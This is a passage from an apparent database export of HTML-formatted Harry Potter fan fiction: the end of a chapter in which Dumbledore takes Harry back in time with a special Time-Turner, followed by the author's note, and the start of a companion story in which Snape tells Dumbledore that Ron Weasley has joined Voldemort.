color="Black">Latin, French, Spanish Arabic, Japanese, Korean, Chinese, Thai, Dutch, Gaelic languages, Armaic, Greek and so many more. With each new dose of knowledge Harry seemed to be more awake, more focused, astonishing the old mage. During one of the pauses, Dumbledore had Harry shift from one tongue to another non stop, asking questions in Classic Greek demanding to be answered in one of </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">the so many variants of Chinese. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry was reading an old text about transfiguration, another test to see if he was able to deal with the massive download of information. He wasn\'t only reading but actually he was translating the text, that was in Old French, into Japanese at the same time.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">What Harry didn\'t know was that Dumbledore, despite being the source of his knowledge, wasn\'t able to do what the teenager was doing so effortlessly. He was able to do it but not directly, translating it from text to spoken words without a pause.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;That\'s enough, Harry,&#8221; the young man looked up, blinking like an owl, startled into stopping his task. &#8220;Well done, very well done. I think we are ready for our trip.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That said, he drew from one of the desk\'s drawers an item that Harry had trouble recognising. Still if they were going to travel through time it could be only one thing, even if it was radically different from the one he had once seen in Hermione\'s possession.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">A time-turner.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Is that a time turner? I thought all time turners were monitored by the Ministry of Magic, sir.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore smiled as he caressed the magical device.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was a small shield upon which Harry could see what seemed to be the entire solar system. The object made of gold looked particularly old, and still the planets shone brightly, each a different color as they moved upon the surface of the item.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;That\'s right Harry. But this time turner is a personal gift from a friend of mine, gone since many long years. It had been crafted a long time ago and my friend had kept it through the years.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;You see, Harry, there are many wizards that would be labeled dark by institutions such as the Ministry of Magic of their country, not concerned that they are not. The reason for that is that, as much good a Ministry can do, there are also many other things that they can do wrong, our dear </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Minister Fudge being a clear example of that.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, feeling his temper rise at the mention of Fudge.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus gave him a lopsided smile, as he noticed the change in his young charge\'s emotions once the name of the Minister was said. &#8220;This friend of mine, Karshan of Tulse, that while now dead, I hope you will know soon enough, gave this to me as a present decades ago. A great defender of </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">the Light, he was killed protecting his magically-hidden town from a plague unleashed by a dark wizard doing Grindelwald\'s bidding.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;This Time-Turner, one of the many magical objectc collected and protected by Karshan and his family, has the particularity that it can move the users years backwards in time instead of hours like most Time-Turners do. That\'s what we are going to use for our little trip trough time.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, still feeling unsure of what to say or to think about this journey Dumbledore was taking him on. Still, it would be incredible; all the places he would see, all the things he would learn...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Wait a second&#8230;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Learn?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&lt;Oh my god! I\'m starting to think like Hermione!&gt;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The weirdest thing was that he found that perspective exciting!</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Maybe he did have some head problems after all.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I want you to understand one thing, Harry...&#8221; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at Dumbledore, whose blue eyes were shining strangely. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;You are not going on a pleasure trip, but to learn about yourself. You will be training with many people and that will demand a lot from you. But you must understand that what you are going to learn is necessary. With a power like the one you are starting to discover you need knowledge in order to not become a danger like Voldemort only a thousand times more dangerous.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, slightly intimidated... not only by Dumbledore\'s words but also because they were enough to make him remember the power, vastly unchecked, that was now his. A power that he had no idea how to control.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But somehow the fear he was feeling slowly was changing, tuning more into expectation, into his well-known curiosity.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">What could he really do?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Now, Harry, if you are ready...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That startled Harry. This wasn\'t what he was expecting. He supposed that Dumbledore would at least have taken some items with him - some clothes or something like that. But as far as he could see, the old wizard was only taking his wand with him. Dumbledore\'s attention seemed totally focused </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">on the magna Time-Turner</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Um, sir?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Yes, Harry?&#8221; Dumbledore said, not taking his sight off the magical instrument.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It may sounds&#8230;dumb, but aren\'t we talking anything with us? Like the things that we left in Brazil?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Without looking, Dumbledore spoke &#8220;We are taking something with us, Harry.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry blinked. &#8220;We are?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Of course.&#8221; Dumbledore nodded as his fingers moved upon the smooth surface. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;We are wearing our clothes, aren\'t we?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Pause.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Apart that, what else, sir?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally looking up, Dumbledore motioned Harry to get nearer. &#8220;Don\'t worry, my boy. We have all we need and what we don\'t we can get them where we are going. Now are you ready?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I think so...&#8221; his eyes moved around the room. Who knew when he would see it again? When would he step back into the corridors of Hogwarts along with his friends? Then his eyes stopped upon something, or rather someone else. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Sir, what about Fawkes? Are we leaving him here?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus smiled. &#8220;I\'m afraid that we can\'t take him with us. The magic of this Time-Turner would kill him. Don\'t worry. We will be back -relatively speaking- in the next second or so, as it would be with any ordinary Time-Turner.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, accepting the old wizard\'s words. He could not resist taking a last look at the singing bird.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Nodding to himself, Dumbledore extended his hand and with his wand pointed it towards the shining object. Releasing it, Harry was astonished to find it floating, free of the aged hand that had sustained it until moments ago.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">In a powerful voice, Dumbledore touched the object with his wand.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>&#8220;Deslagrate...&#8221;</b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The time turner exploded into a net of light that expanded with amazing speed, covering the walls with lines of gold before retracting with the same speed, slicing through both he and Dumbledore, leaving trails of light upon each square inch of them.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The Time-Turner seemed to have turned into a star, shining brightly with soft golden light. Dumbledore\'s wand impacted against the mass of light that unleashed golden flames. Once again the old wizard\'s powerful voice resounded in the room... making the world shake...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>&#8220;&#8230;murit tempiet.... </b></font><font color="Black"><b><i>INTERVALLIA!!</i></b></font><font color="Black"><b>&#8221;</b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And shatter.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Next part: </font><font color="Black"><b>India</b></font><font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Coming soon...</b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u>Author\'s words, (second take):</u></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Well with this ends the first part of Summer of Discoveries. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">When I started writing this chapter my idea was to make only one chapter that would be composed by parts 1.1, 1.2, 1.3. Along with those now three posted sub-chapters, Summer of Discoveries would have many others covering the countries Harry and Dumbledore would travel and stay.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">So Summer of discoveries 2.1 would be India, the next one 2.2 China and so on&#8230;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">All in all, time-wise, Summer of Discoveries would cover three years of adventures and travels trough foreign countries, Harry (re)discovering himelf and his legacy as the last son of Krypton under the guide of Dumbledore and a legion of new characters, some real historical beings, others created by me and some non humans characters added in the mix .</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But now, looking at the three parts posted, considering the time it took me to have them ready I realize that posting the remaining parts of SoD would take time, time in wich the rest of the characters of the Harry Potter books would be missing. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As I know that many of you are awaiting the introduction of the new Harry to the rest of the cast, such as Hermione, Ron, Draco and the others I am considering changing my original idea.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Personaly I have no problem in following as I have till now, that is following a chronological line, following Harry day by day even in the past and reach Hogwarts and the sixth year in its due time.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u>But</u></b></font><font color="Black"> as I know that many await that moment with impatience I am considering in leaving aside Harry and Albus adventures in the past and jump to the start of the sixth year&#8230;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Up to this point I leave the decision to the readers: </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Please</b></font><font color="Black"> tell me what you think in the review and if there is a majority asking me to jump to the sixth year I will do so. If not I will continue as I wanted in the first place and the next chapter to be posted would be Harry in India, the start of his training and everything that will happen there.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">This said, once again thanks for taking time to read my story.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Till next time </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Lu</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dragonlord</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p> '),
	(184, 1, '\n\n\n\n<p class="MsoTitle"><b>To the\nHeadmaster</b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">A companion piece to &#8220;Out of the Shadows\nand into the Night&#8221; by Professor Granger</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b>Author&#8217;s Note</b>:&nbsp;\nDO NOT READ unless you have at least read Chapter 2 of &#8220;Shadows&#8221;.&nbsp; This will not make sense otherwise.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Severus Snape knew that there would\nbe an initiation that night.&nbsp; It\nhappened almost every night now, and this time was no exception.&nbsp; He prepared himself so that he would be able\nto remember the name of the person joining.&nbsp;\nIt was essential that Dumbledore know who was joining so that they had a\nbetter idea of the mindset of Voldemort&#8217;s army.&nbsp; In some cases they had even persuaded the recruits to back away\nfrom Voldemort and help the light side.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; By the time arrived at the Dark\nLord&#8217;s &#8220;manor&#8221;, he was prepared with several excuses for what to tell the new\nrecruit in hopes that the person would be convinced to help them.&nbsp; If they refused, Severus was very proficient\nwith memory charms.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The first surprise of the night was\nhow <i>young</i> the person seemed to be.&nbsp;\nHe was tall and lanky, and uncomfortable with his body.&nbsp; That could only mean a student, and because\nof the height of the person, it narrowed it down to a few.&nbsp; When the person spoke, Severus felt his\nheart sink.&nbsp; <i>Of all the people close\nto Potter, I never expected Weasley to cross the line.</i>&nbsp; But the more he thought about it, the more\nit seemed possible.&nbsp; He had expected it\nto be Thomas or Finnegan, or maybe even Creevey.&nbsp; But never <i>Weasley.</i>&nbsp;\nBut as he continued to think about the situation, is surprised him less\nand less.&nbsp; Weasley had always been prone\nto jealous fits, and could be the least rational of all the Weasleys he had\ntaught.&nbsp; Even the twins had more common\nsense and rationality, if a penchant for jokes.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It did make sense for him to be the\none to betray the great Potter.&nbsp; It had\nbeen the same way with Pettigrew, and the rat had lived with Weasley for\nseveral years.&nbsp; His mindsets had\nprobably influenced Weasley even if he was unaware of it.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally Weasley took his place in\nthe circle of the Dark Lord&#8217;s servants, and the meeting was called to an\nend.&nbsp; Severus left as fast as he could,\nunder the pretense that Dumbledore would suspect something if he was absent for\ntoo long.&nbsp; The excuse worked every\ntime.&nbsp; Voldemort was so happy to have a\nservant under the headmaster&#8217;s nose that he excused a lot of Severus&#8217; supposed\nlapses in loyalty.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Severus, you&#8217;re back very\nquickly.&#8221;&nbsp; Said a worried Albus\nDumbledore as soon as his door opened.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&nbsp; I was right, there was another initiation tonight.&#8221; Severus\nsaid.&nbsp; He was trying to think of a way\nto break the news about Ron Weasley gently.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell me who it was.&nbsp; We need to talk to that person as soon as\npossible,&#8221; pressed the headmaster.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Severus sighed before\ncontinuing.&nbsp; He knew that he would have\nto tell at some point, but he would have rather waited to do it.&nbsp; He knew that the headmaster greatly liked\nand admired the Weasley family.&nbsp; They\nhad done a lot in the first war against Voldemort and were continuing to help\nthe fight.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was Ron Weasley, Albus.&nbsp; I never would have expected it from\nhim.&nbsp; It seems that he would be at\nPotter&#8217;s side rather than against him, but I guess I was wrong.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is that all you can say?&nbsp; One of Potter&#8217;s best friends has betrayed\nhim, and all you can say is &#8216;hmm&#8217;?&nbsp;\nWhat&#8217;s wrong with you Albus?&nbsp;\nPotter is now in considerably more danger than he has ever been, even\nwith Quirrel around and Barty Crouch teaching.&nbsp;\nHe trusts his friends, and Weasley has betrayed that!&#8221;&nbsp; Severus was angrier than he could remember\nbeing.&nbsp; He didn&#8217;t like Potter, but he\nrespected him; and he didn&#8217;t like any of the Weasleys, a view that had only\nintensified with the twins, but this was too much tolerance on the part of the\nheadmaster.&nbsp; Even when he received\nconfirmation of Draco Malfoy&#8217;s betrayal.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Calm down Severus.&nbsp; I had expected Ronald to do something\ndrastic, but not quite this much,&#8221; Albus said thoughtfully.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You <i>expected</i> this?&nbsp; What led you to even think something like\nthat?&nbsp; From everything I&#8217;ve seen for the\npast six years, Weasley has never given any cause to suspect something like\nthis.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But you are forgetting the\ntri-wizard tournament.&nbsp; Ron has been\njealous of Harry for quite some time.&nbsp;\nIf you remember, he even refused to speak to Harry for a few months during\ntheir fourth year.&#8221;&#8217;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Jealousy has nothing to do with\nthis!&nbsp; He told Voldemort that he wanted\npower.&#8221; Severus was pacing the room now, every so often casting a disbelieving\nlook at the complacent headmaster.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suspected as much.&#8221; The\nheadmaster fell silent for a few moments.&nbsp;\nHe then reached behind him and pulled his pensive out of the closet\nbehind his desk.&nbsp;&nbsp; He poked his wand\ninto the surface and when he was satisfied that he was looking at the right\nmemory, he motioned for the potions professor to come over to the desk.&nbsp; Slowly, Severus leaned over the stone bowl,\nand looked inside.&nbsp; It was an unused\nclassroom, containing dusty desks that had been shoved to one side to make room\nfor the most magnificent mirror he had ever seen.&nbsp; Across the top was the inscription: <i>Erised stra ehru oyt ube\ncafro oyt on wohsi.</i>&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why are you showing me this,\nAlbus.&nbsp; I&#8217;ve seen the Mirror of Erised\nbefore.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just watch, Severus, I&#8217;m sure it&#8217;ll\nbe clear once you watch.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">* * *</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presently he heard voices coming\ndown the hall towards the door.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I&#8217;m freezing,&#8221; said Ron.&nbsp; &#8220;Let&#8217;s forget it and go back.&#8221;</i></p>\n\n<p class="MsoNormal" 